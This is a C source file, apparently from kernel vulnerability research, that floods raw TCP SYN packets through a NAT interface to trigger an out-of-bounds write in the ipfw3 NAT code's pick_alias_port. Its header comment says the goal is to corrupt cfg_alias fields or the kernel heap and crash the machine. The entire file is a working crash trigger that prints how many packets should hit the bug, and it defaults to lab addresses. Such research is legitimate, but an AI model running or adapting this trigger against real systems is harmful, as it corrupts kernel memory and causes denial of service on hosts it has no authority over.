DF-0569 / raw_syn_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | /* * DF-0569 — Fast raw SYN trigger for the TCP NAT path. * * Sends raw TCP SYN packets through vtnet0 to trigger pick_alias_port * in the ipfw3 NAT outbound path. Each unique (src_port, dst_port) * creates a new NAT state, exercising the byte-swap OOB write. * * This is MUCH faster than connect() (no TCP handshake wait) and * targets the TCP path where OOB writes go BEFORE tcp_in[] into the * cfg_alias struct fields or kernel heap — more likely to crash. * * Build: cc -O2 -o raw_syn_trigger raw_syn_trigger.c * Run: ./raw_syn_trigger <count> <dst_ip> */ #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> /* Pseudo-header for TCP checksum */ struct pseudo_hdr { uint32_t src; uint32_t dst; uint8_t zero; uint8_t proto; uint16_t tcplen; }; static uint16_t cksum(const void *data, int len) { const uint16_t *p = data; uint32_t sum = 0; while (len > 1) { sum += *p++; len -= 2; } if (len) sum += *(const uint8_t *)p; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } int main(int argc, char *argv[]) { int count = (argc > 1) ? atoi(argv[1]) : 10000; const char *dst_ip = (argc > 2) ? argv[2] : "10.0.2.2"; int fd, i; struct sockaddr_in dst; signal(SIGPIPE, SIG_IGN); fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (fd < 0) { perror("raw socket (need root)"); return 1; } int on = 1; setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; inet_aton(dst_ip, &dst.sin_addr); uint32_t src = inet_addr("10.0.2.15"); fprintf(stderr, "DF-0569 raw SYN: sending %d SYN packets to %s " "(expect ~%.0f OOB at 1.56%%)\n", count, dst_ip, count * 0.0156); for (i = 0; i < count; i++) { uint16_t sport = 1024 + (i % 60000); uint16_t dport = 1 + (i % 1000); char pkt[sizeof(struct ip) + sizeof(struct tcphdr)]; memset(pkt, 0, sizeof(pkt)); struct ip *iph = (struct ip *)pkt; iph->ip_hl = 5; iph->ip_v = 4; iph->ip_tos = 0; iph->ip_len = htons(sizeof(pkt)); iph->ip_id = htons(i & 0xffff); iph->ip_off = 0; iph->ip_ttl = 64; iph->ip_p = IPPROTO_TCP; iph->ip_sum = 0; iph->ip_src.s_addr = src; iph->ip_dst.s_addr = dst.sin_addr.s_addr; struct tcphdr *tcph = (struct tcphdr *)(pkt + sizeof(struct ip)); tcph->th_sport = htons(sport); tcph->th_dport = htons(dport); tcph->th_seq = htonl(i); tcph->th_ack = 0; tcph->th_off = 5; tcph->th_flags = TH_SYN; tcph->th_win = htons(1024); tcph->th_sum = 0; tcph->th_urp = 0; /* TCP checksum with pseudo-header */ struct pseudo_hdr ph; ph.src = src; ph.dst = dst.sin_addr.s_addr; ph.zero = 0; ph.proto = IPPROTO_TCP; ph.tcplen = htons(sizeof(struct tcphdr)); char csum_buf[sizeof(struct pseudo_hdr) + sizeof(struct tcphdr)]; memcpy(csum_buf, &ph, sizeof(ph)); memcpy(csum_buf + sizeof(ph), tcph, sizeof(struct tcphdr)); tcph->th_sum = cksum(csum_buf, sizeof(csum_buf)); /* IP header checksum */ iph->ip_sum = cksum(iph, sizeof(struct ip)); sendto(fd, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); if ((i + 1) % 2000 == 0) fprintf(stderr, " %d/%d SYNs sent\n", i + 1, count); } close(fd); printf("DF-0569 raw SYN: sent %d packets, ~%.0f should trigger OOB\n", count, count * 0.0156); return 0; } |